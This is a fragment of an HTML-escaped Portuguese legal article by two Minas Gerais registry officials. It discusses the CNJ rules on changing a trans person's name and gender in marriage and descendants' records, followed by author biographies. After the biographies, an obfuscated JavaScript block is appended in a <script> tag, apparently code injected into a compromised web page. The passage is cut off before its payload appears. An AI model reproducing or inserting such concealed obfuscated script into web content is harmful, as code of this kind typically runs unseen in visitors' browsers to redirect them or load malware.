style=\"text-align: justify;\">e- quanto &agrave;s quest&otilde;es controversas:<br \/>\ne.1) ap&oacute;s a altera&ccedil;&atilde;o do g&ecirc;nero ou do nome e g&ecirc;nero do trans no seu registro de nascimento, para a averba&ccedil;&atilde;o no registro de casamento, dever&aacute; haver &nbsp; anu&ecirc;ncia do c&ocirc;njuge e, no caso de resist&ecirc;ncia por parte do c&ocirc;njuge, o consentimento poder&aacute; ser suprido judicialmente.&nbsp;<br \/>\ne.2) n&atilde;o se exige concord&acirc;ncia do ex-c&ocirc;njuge no caso do divorciado.<br \/>\ne.3) para altera&ccedil;&atilde;o do nome ou nome e g&ecirc;nero do ascendente no registro de descendente, &eacute; necess&aacute;ria a anu&ecirc;ncia do descendente, que deve ser maior e capaz, ou suprimento judicial. Tamb&eacute;m se exige concord&acirc;ncia dos genitores desse descendente.&nbsp;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Entendemos que o CNJ foi t&iacute;mido nessa parte do provimento, ao exigir anu&ecirc;ncia para a altera&ccedil;&atilde;o do nome do trans tanto na certid&atilde;o de casamento quanto no registro dos descendentes. Alterar o g&ecirc;nero ou o nome e g&ecirc;nero apenas na certid&atilde;o de nascimento da pessoa trans que tenha estado civil de casada ou divorciada nada resolve, de modo que o Judici&aacute;rio ter&aacute; obrigatoriamente que atuar em diversas situa&ccedil;&otilde;es, com os custos envolvidos, perda de tempo e em consequ&ecirc;ncia constrangimento para a pessoa trans.<\/p>\n<p style=\"text-align: justify;\"><strong><em>Let&iacute;cia Franco Maculan Assump&ccedil;&atilde;o &eacute; graduada em Direito pela Universidade Federal de Minas Gerais, p&oacute;s-graduada e Mestre em Direito P&uacute;blico. Foi Procuradora do Munic&iacute;pio de Belo Horizonte e Procuradora da Fazenda Nacional. Aprovada em concurso desde 2007, &eacute; Oficial do Cart&oacute;rio do Registro Civil e Notas do Barreiro, Belo Horizonte\/MG. Autora de diversos artigos na &aacute;rea de Direito Tribut&aacute;rio, Direito Administrativo, Direito Civil e Direito Notarial, publicados em revistas jur&iacute;dicas, e do livro Fun&ccedil;&atilde;o Notaria e de Registro. Presidente do Col&eacute;gio Registral de Minas Gerais e Diretora do Col&eacute;gio Notarial do Brasil, Se&ccedil;&atilde;o Minas Gerais. Representante do Brasil na Uni&atilde;o Internacional do Notariado Latino.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><em>Isabela Franco Maculan Assump&ccedil;&atilde;o &eacute; graduada em Direito pela Universidade Federal de Minas Gerais e autora de diversos artigos na &aacute;rea do registro civil. &Eacute; Oficial Substituta do Cart&oacute;rio do Registro Civil e Notas do Barreiro.<\/em><\/strong><br \/>\n&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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